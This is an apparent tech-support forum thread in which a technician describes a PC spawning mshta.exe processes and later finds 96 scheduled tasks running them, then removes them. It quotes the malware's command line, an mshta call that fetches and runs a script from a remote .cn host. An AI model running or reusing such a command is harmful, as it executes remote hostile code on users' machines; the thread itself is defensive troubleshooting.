We help IT Professionals succeed at work.

mshta.exe problem

Medium Priority
1,077 Views
Last Modified: 2013-12-07
We have a PC in for repair which has an issue with mshta.exe. The problem is that a svchost process is the parent of many mshta.exe children each have a command line of

mshta.exe http://syhrywbjomwkphwxgknu.cn/s_t_t.php

When this process runs, Avast Antivirus blocks the result as a threat. Scanning the system with Avast, Spybot Search and Destroy, Ad-Aware, SuperantiSpyWare, combofix and prevx show the system to be clean.
There seems to be a few users having similar issues with this problem. DOes anyone know of a fix for the issue.

Many thanks
Paul.
Comment
Watch Question

Give this a try.
Ttype the following commands in the Run dialog box:
sfc /purgecache
After the above command runs type the following in the Run dialog box.
sfc /scannow
You will need your OS CD. SFC SCANNOW takes about fifteen minutes to run.
Reboot and test.
I'm assuming that you ran your scans in Safe Mode.
David
Director
Commented:
Problem has now been resolve. After trying the suggestion from David, the problem still existed.

We found that all icons in System Tools had been removed together with all icons in Administrive Tools. Once we had restored the icons and opened Scheduled Tasks we found 96 separate entries set to run at 15 minute intervals which ran the said process. Deleting the 96 entries resolved the issue.

Whatever caused the issue is still a mystery.

Regards Paul.

Not the solution you were looking for? Getting a personalized solution is easy.

Ask the Experts
Access more of Experts Exchange with a free account
Thanks for using Experts Exchange.

Create a free account to continue.

Limited access with a free account allows you to:

  • View three pieces of content (articles, solutions, posts, and videos)
  • Ask the experts questions (counted toward content limit)
  • Customize your dashboard and profile

*This site is protected by reCAPTCHA and the Google Privacy Policy and Terms of Service apply.

OR

Please enter a first name

Please enter a last name

8+ characters (letters, numbers, and a symbol)

By clicking, you agree to the Terms of Use and Privacy Policy.